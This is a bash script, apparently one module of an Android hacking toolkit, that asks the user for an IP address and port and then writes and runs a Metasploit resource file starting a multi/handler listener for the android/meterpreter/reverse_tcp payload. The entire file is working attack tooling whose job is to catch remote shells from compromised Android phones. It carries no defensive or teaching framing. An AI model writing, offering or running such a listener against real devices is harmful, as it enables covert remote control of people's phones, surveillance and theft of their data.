#!/bin/bash

if ! which msfconsole > /dev/null; then
   echo -e "'Metasploit Framework' not found please install it first then run the script"
   exit
fi

clear
echo -e "\n\e[1;93m

__ __         __                               _______ _______ _______ _______
|  |__|.-----.|  |_.-----.-----.-----.----.    |   _   |   |   |_     _|       |
|  |  ||__ --||   _|  -__|     |  -__|   _|    |       |   |   | |   | |   -   |
|__|__||_____||____|_____|__|__|_____|__|      |___|___|_______| |___| |_______|


                                           \e[0m"
lhost_taker () {

        read -p $'\n\n\e[1;91mEnter the IP address ( LHOST )\e[0m\e[1;93m : ' lhost2
        if [ "$lhost2" == "" ]
          then
              echo -e "\e[91mPlease enter the IP address plz....\n"
              lhost_taker
        fi
            
}

lport_taker () {

        read -p $'\n\n\e[1;91mEnter the PORT number ( LPORT )\e[0m\e[1;93m : ' lport2
        if [ "$lport2" == "" ]
          then
              echo -e "\e[91mPlease enter the PORT number plz....\n"
              lport_taker
        fi
            
}

listner_creator () {

	echo -e "use exploit/multi/handler\nset PAYLOAD android/meterpreter/reverse_tcp\nset LHOST $lhost2\nset LPORT $lport2\nexploit" > metasploit/.exploit.rc

}

start_listner () {

	while true; do
	  read -p $'\n\e[93;1mDo you want to start the MSF Listener.\e[1;97m (Y/N) \e[91;1m? : \e[1;93m' yn
	  case $yn in
	  [Yy]* ) break;;
	  [Nn]* ) clear && bash modules/function2.sh;;
	      * ) echo -e "\n\e[1;93mPlease answer it with\e[1;97m ( Y/N )\e[0m";;
  	  esac
  	done
  	msfconsole -q -r metasploit/.exploit.rc


}

main () {

	lhost_taker
	lport_taker
	listner_creator
	start_listner	

}

main

read -p $'\n\e[93;1mDo you want to clear the screen \e[1;97m (y/N) \e[93;1m? : \e[1;91m' yn
case $yn in
  [Yy]* ) clear; bash modules/function2.sh;;
  [Nn]* ) bash modules/function2.sh;;
  * ) bash modules/function2.sh;;
esac
